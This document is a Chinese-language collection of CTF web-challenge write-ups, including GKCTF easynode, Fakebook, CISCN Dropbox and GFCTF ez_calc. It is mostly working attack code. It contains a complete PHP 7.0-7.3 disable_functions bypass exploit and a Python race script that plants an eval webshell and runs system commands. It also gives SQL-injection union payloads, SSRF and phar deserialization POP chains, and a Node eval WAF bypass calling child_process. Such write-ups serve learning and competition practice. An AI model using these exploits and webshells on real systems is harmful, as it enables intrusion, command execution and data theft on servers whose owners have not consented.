1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file(__FILE__); class ClassName { public $code = null; public $decode = null; function __construct() { $this->code = @$this->x()['Ginkgo']; $this->decode = @base64_decode( $this->code ); @Eval($this->decode); } public function x() { return $_REQUEST; } } new ClassName();
首先传入phpinfo();的base64可以看到禁用函数,
传入eval($_POST[a]);的base64,蚁剑链接,在tmp目录上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 <?php # PHP 7.0-7.3 disable_functions bypass PoC (*nix only) # # Bug: https://bugs.php.net/bug.php?id=72530 # # This exploit should work on all PHP 7.0-7.3 versions # # Author: https://github.com/mm0r1 pwn("/readflag"); function pwn($cmd) { global $abc, $helper; function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= chr($ptr & 0xff); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = chr($v & 0xff); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write # handle pie $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'constant' constant check if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); # 'bin2hex' constant check if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { # ELF header return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { # system return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } class ryat { var $ryat; var $chtg; function __destruct() { $this->chtg = $this->ryat; $this->ryat = 1; } } class Helper { public $a, $b, $c, $d; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; # increase this value if you get segfaults $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_repeat('A', 79); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}'; $out = unserialize($poc); gc_collect_cycles(); $v = []; $v[0] = ptr2str(0, 79); unset($v); $abc = $out[2][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } # leaks $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; # fake value write($abc, 0x60, 2); write($abc, 0x70, 6); # fake reference write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # fake closure object $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } # pwn write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); # internal func type write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit(); }
之后传入包含该文件
1 ?Ginkgo=aW5jbHVkZSgnL3RtcC9zaGVsbC5waHAnKTs=
得到flag
[GKCTF 2020]ez三剑客-easynode 源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const express = require('express'); const bodyParser = require('body-parser'); const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库 const fs = require('fs'); const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); // 2020.1/WORKER2 老板说为了后期方便优化 app.use((req, res, next) => { if (req.path === '/eval') { let delay = 60 * 1000; console.log(delay); if (Number.isInteger(parseInt(req.query.delay))) { delay = Math.max(delay, parseInt(req.query.delay)); } const t = setTimeout(() => next(), delay); // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事 setTimeout(() => { clearTimeout(t); console.log('timeout'); try { res.send('Timeout!'); } catch (e) { } }, 1000); } else { next(); } }); app.post('/eval', function (req, res) { let response = ''; if (req.body.e) { try { response = saferEval(req.body.e); } catch (e) { response = 'Wrong Wrong Wrong!!!!'; } } res.send(String(response)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); // 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口 app.get('/version', function (req, res) { res.set('Content-Type', 'text/json;charset=utf-8'); res.send(fs.readFileSync('./package.json')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); res.send(fs.readFileSync('./index.html')) }) app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
[MoeCTF 2022]ezphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php highlight_file('source.txt'); echo "<br><br>"; $flag = 'xxxxxxxx'; $giveme = 'can can need flag!'; $getout = 'No! flag.Try again. Come on!'; if(!isset($_GET['flag']) && !isset($_POST['flag'])){ exit($giveme); } if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){ exit($getout); } foreach ($_POST as $key => $value) { $$key = $value; } foreach ($_GET as $key => $value) { $$key = $$value; } echo 'the flag is : ' . $flag; ?>
遍历post的值,创建了一个与 $key
同名的新变量,并将其值设置为 $value
,如果post中有a=flag,这样就会创建一个$a,并将$a的值设置为flag
遍历get的值,它首先将 $value
作为变量名获取其值,然后创建一个与 $key
同名的新变量,并将 $value
的值赋给这个新变量。
[HNCTF 2022 WEEK3]QAQ_1inclu4e 开题
base64,跟没说一样:flag藏在神秘的角落
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import requests import threading session = requests.session() #用session保留使用的cookies url = "http://node5.anna.nssctf.cn:20867/" sess = 'myan' file_name = "/var/www/html/1.php" file_content = "<?php eval($_POST[1]);?>" data = { "PHP_SESSION_UPLOAD_PROGRESS": f"<?php echo 'Success!'; file_put_contents('{file_name}','{file_content}')?>" } files = { 'file' : 'myan' } cookies = { 'PHPSESSID' : sess } def write(): while True : r = session.post(url=url,data=data,files=files,cookies=cookies) def read(): while True: r = session.post(url=url+"?QAQ=/tmp/sess_myan") if "Success!" in r.text: print("Shell的地址在url/1.php") R = requests.post(url=url+'1.php',data={"1" : "system('tac /var/f*');"}) print(R.text) exit() threads = [threading.Thread(target=write),threading.Thread(target=read)] for t in threads: t.start()
[FSCTF 2023]ez_php2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php highlight_file(__file__); Class Rd{ public $ending; public $cl; public $poc; } class Poc{ public $payload=['POC'=>"1111"]; public $fun; } class Er { public $symbol; public $Flag; } class Ha { public $start; public $start1; public $start2; } $a=new Ha(); $b=new Poc(); $a->start2="11111"; $a->start1=new Rd(); $a->start=$b->payload; $a->start1->cl=new Er(); $a->start1->cl->Flag="ls /"; echo serialize($a);
[SWPUCTF 2022 新生赛]Power! 这题也是小顿了一下
首先传?source
回显示源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 <?php class FileViewer { public $black_list = "flag" ; public $local = "http://127.0.0.1/" ; public $path ; public function __call ($f ,$a ) { $this ->loadfile (); } public function loadfile ( ) { if (!is_array ($this ->path)){ if (preg_match ("/" .$this ->black_list."/i" ,$this ->path)){ $file = $this ->curl ($this ->local."cheems.jpg" ); }else { $file = $this ->curl ($this ->local.$this ->path); } }else { $file = $this ->curl ($this ->local."cheems.jpg" ); } echo '<img src="data:jpg;base64,' .base64_encode ($file ).'"/>' ; } public function curl ($path ) { $url = $path ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $url ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($curl , CURLOPT_HEADER, 0 ); $response = curl_exec ($curl ); curl_close ($curl ); return $response ; } public function __wakeup ( ) { $this ->local = "http://127.0.0.1/" ; } } class Backdoor { public $a ; public $b ; public $superhacker = "hacker.jpg" ; public function goodman ($i ,$j ) { $i ->$j = $this ->superhacker; } public function __destruct ( ) { $this ->goodman ($this ->a,$this ->b); $this ->a->c (); } } if (isset ($_GET ['source' ])){ highlight_file (__FILE__ ); }else { if (isset ($_GET ['image_path' ])){ $path = $_GET ['image_path' ]; if (is_string ($path )&&!preg_match ("/http:|gopher:|glob:|php:/i" ,$path )){ echo '<img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; }else { echo '<h2>Seriously??</h2><img src="data:jpg;base64,' .base64_encode (file_get_contents ("cheems.jpg" )).'"/>' ; } }else if (isset ($_GET ['path_info' ])){ $path_info = $_GET ['path_info' ]; $FV = unserialize (base64_decode ($path_info )); $FV ->loadfile (); }else { $path = "vergil.jpg" ; echo '<h2>POWER!!</h2> <img src="data:jpg;base64,' .base64_encode (file_get_contents ($path )).'"/>' ; } } ?>
可以看到传image_path'
可以看base64编码的图片,尝试读flag.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $a = "good job,but there is no flag i put my flag in intranet(127.0.0.1:65500) outsider have no permissions to get it if you want it,then you have to take it but you already knew the rules try it"; ?>
说把flag放在了127.0.0.1:65500
分析一下源码
这里可以利用curl进行ssrf读取flag
思路就是最后触发loadfile中的curl,curl中的local和path都是可控的
backdoor的destruct进,触发call,再到localfile到curl
__call() :在对象上下文中调用不可访问的方法时触发
但是在此之前会先进入到goodman方法来进行重新赋值,将$a类中的$b属性重新赋值为该类,也就是Backdoor中$superhacker的值
链子构造到这里还没有解决最关键的一点,就是设置我们curl的路径,通过审计代码
$file = $this->curl($this->local.$this->path);
1
可以得知,curl的路径是由FileViewer中local和path决定的,正好,我们可以通过$a变量来创建一个新的FileViewer对象
构造exp的时候可以修改一下black_list的值,让他不在过滤flag,毕竟正则匹配会进行过滤,并且还要注意一下,在触发unserialize之前会先进行一次base64解码 借鉴
别的师傅的一句话
这里构造的时候踩了个坑,一开始只创建了Backdoor
一个对象,所以就是Backdoor
里面包含着FileViewer
,但是经过反序列化之后,执行的loadfile
函数只有FileViewer
类存在,所以要FileViewer
中包着Backdoor
pop
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class FileViewer{ public $black_list; public $local; public $path="flag"; } class Backdoor{ public $a; public $b; public $superhacker; } $a=new Backdoor(); $b=new FileViewer(); $a->a = new FileViewer(); $a->b = "local"; $a->superhacker = "http://127.0.0.1:65500/"; $b->local = $a; echo serialize($b);
[网鼎杯 2018]Fakebook 扫目录发现存在robots.txt,
存在源码泄露,泄露了user.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
注册登录,发现no参数存在sql注入
先判断列数
1 2 3 4 5 6 7 1 order by 1,2,3,4 列数是4 -1 union/**/select/**/1,2,3,4 显位点是2 -1 union/**/select/**/1,group_concat(schema_name),3,4/**/from/**/information_schema.schemata 爆数据库 -1 union/**/select/**/1,group_concat(table_name),3,4/**/from/**/information_schema.tables/**/where/**/table_schema="fakebook" 爆表 -1 union/**/select/**/1,group_concat(column_name),3,4/**/from/**/information_schema.columns/**/where/**/table_name="users" 爆列名 -1 union/**/select/**/1,group_concat(no,username,passwd,data),3,4/**/from/**/fakebook.users 爆数据
发现存入的数据相对应的博客一栏是反序列化数据,说明对博客一栏的数据通过上面的user.php进行了反序列化,那需要操作一下了
1 2 3 4 5 6 7 8 9 10 11 12 <?php class UserInfo { public $name = "Q"; public $age = 18; public $blog = "load_file('/var/www/html/flag.php')"; } $a=new UserInfo(); echo serialize($a);
1 -1 union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"Q";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
[CISCN 2019华北Day1]Web1 注册登录发现可以上传文件
先上传一个看看,游下载和删除功能,抓包发现下载存在文件读取
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } ?> <!DOCTYPE html> <html> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>缃戠洏绠$悊</title> <head> <link href="static/css/bootstrap.min.css" rel="stylesheet"> <link href="static/css/panel.css" rel="stylesheet"> <script src="static/js/jquery.min.js"></script> <script src="static/js/bootstrap.bundle.min.js"></script> <script src="static/js/toast.js"></script> <script src="static/js/panel.js"></script> </head> <body> <nav aria-label="breadcrumb"> <ol class="breadcrumb"> <li class="breadcrumb-item active">绠$悊闈㈡澘</li> <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">涓婁紶鏂囦欢</label></li> <li class="active ml-auto"><a href="#">浣犲ソ <?php echo $_SESSION['username']?></a></li> </ol> </nav> <input type="file" id="fileInput" class="hidden"> <div class="top" id="toast-container"></div> <?php include "class.php"; $a = new FileList($_SESSION['sandbox']); $a->Name(); $a->Size(); ?>
里面还包含了class.php读取来试试
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">涓嬭浇</a> / <a href="#" class="delete">鍒犻櫎</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } ?>
这里存在4各功能,最危险的当属这个close了,触发close方法可以利用file_get_contents()读取文件
首先会获取sandbox下的所有文件名,然后访问对应文件的名字和size,调用这两个方法,链子最终应该是close()
进行文件内容的读取,而调用close()
的地方只有一个,那就是User的__destruct()
方法,控制db为file对象即可,但是好像没什么用,并不知道flag文件名叫什么,还是要进行系统函数的执行才可以,可以看下另一条链子,实例化完了FileList
对象会访问Name
和Size
方法,这两个方法并不存在于FileList
,而在File
里面,所以会触发__call()
,而__call()
会调用file内的func
,并将结果存入$results
:
1 $this->results[$file->name()][$func] = $file->$func();
看看其他文件
download.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) { Header("Content-type: application/octet-stream"); Header("Content-Disposition: attachment; filename=" . basename($filename)); echo $file->close(); } else { echo "File not exist"; } ?>
ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”);限制了查看的目录
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); } if (!isset($_POST['filename'])) { die(); } include "class.php"; chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
来捋一捋,最后是要file_get_content(‘flag’),就是要filename是flag,他在file类里,怎么到file类呢,User里的destruct使用了close(),在想前找,Filelist里有call,Name和
Size方法,这两个方法并不存在于
FileList,而在
File里面,所以会触发
__call()
1 User()->db->FileList()->__call()->File()->filename="flag"
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 <?php class User { public $db; public function __construct() { global $db; $this->db = $db; } public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; } public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; } public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; } public function __destruct() { $this->db->close(); } } class FileList { private $files; private $results; private $funcs; public function __construct() { $this->files = array(); $a = new File('/flag.txt'); array_push($this->files,$a); } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } class File { public $filename; public function __construct($filename){ $this->filename=$filename; } public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this->filename); } public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this->filename); } public function close() { return file_get_contents($this->filename); } } $a = new User(); $a->db = new FileList(); $phar = new Phar('exp.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER();?>'); $phar->setMetadata($a); $phar->addFromString('1.txt','1'); $phar->stopBuffering();
[GFCTF 2021]ez_calc 第一次见到,ctrl+u和f12看到的源码不一样
F12
Ctrl+u
f12可以看验证逻辑
1 2 3 4 5 if(req.body.username.toLowerCase() !== 'admin' && req.body.username.toUpperCase() === 'ADMIN' && req.body.passwd === 'admin123'){ // 登录成功,设置 session } 变小写不是admin,变大写还得是ADMIN,挺刁断
条件就是:
在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。 在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。
这里只能换i
admın
真无聊,源码藏在页面最下面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 let calc = req.body.calc; let flag = false; //waf for (let i = 0; i < calc.length; i++) { if (flag || "/(flc'\".".split``.some(v => v == calc[i])) { flag = true; calc = calc.slice(0, i) + "*" + calc.slice(i + 1, calc.length); } } //截取 calc = calc.substring(0, 64); //去空 calc = calc.replace(/\s+/g, ""); calc = calc.replace(/\\/g, "\\\\"); //小明的同学过滤了一些比较危险的东西 while (calc.indexOf("sh") > -1) { calc = calc.replace("sh", ""); } while (calc.indexOf("ln") > -1) { calc = calc.replace("ln", ""); } while (calc.indexOf("fs") > -1) { calc = calc.replace("fs", ""); } while (calc.indexOf("x") > -1) { calc = calc.replace("x", ""); } try { result = eval(calc); }
第一个wafban了/(flc’\ “.如果触发,就会变成*,可以利用数组进行绕过第二层,只要前64个,第三层,去除空格,第四层,过滤sh
、ln
、fs
、x
,类似php,可以利用数组进行绕过,传入calc[]=a(aaa&calc[]=bbb&calc[]=ccc&calc[]=(
可以得到回显
左括号已经绕过了waf。这个逻辑是这样的:for (let i = 0; i < calc.length; i++)
会在此处获取传入参数的长度,我们只需要计算payload的长度,把payload放在第一个位置,有多长就在后面补多少个位置,使得第一个位置内所有字符逃逸出来实现rce,如上述的测试结果,数组内一共有5个元素,那么calc.length=5
,而计算waf的位置会变成数组的第五个元素的位置,控制calc[4]='('
即可牺牲掉这个字符来保全payload不被处理
len("require('child_process').spawnSync('ls',['/']).stdout.toString();")=65
,构造65个字符,在最后使用敏感字符触发waf
1 2 3 calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
calc能执行命令,取决于能逃逸多少字符,够不够,由于我们第一个数组打算执行命令,后面用来凑数执行溢出,但是他有长度限制,那么命令长度最大为65如果要ls /某个文件夹长度肯定不够的,要是spawnSync(‘cat’,[‘/GFCTF…’])长度超了好多的,得另想他法,1.child_process数组下标5就是execsync
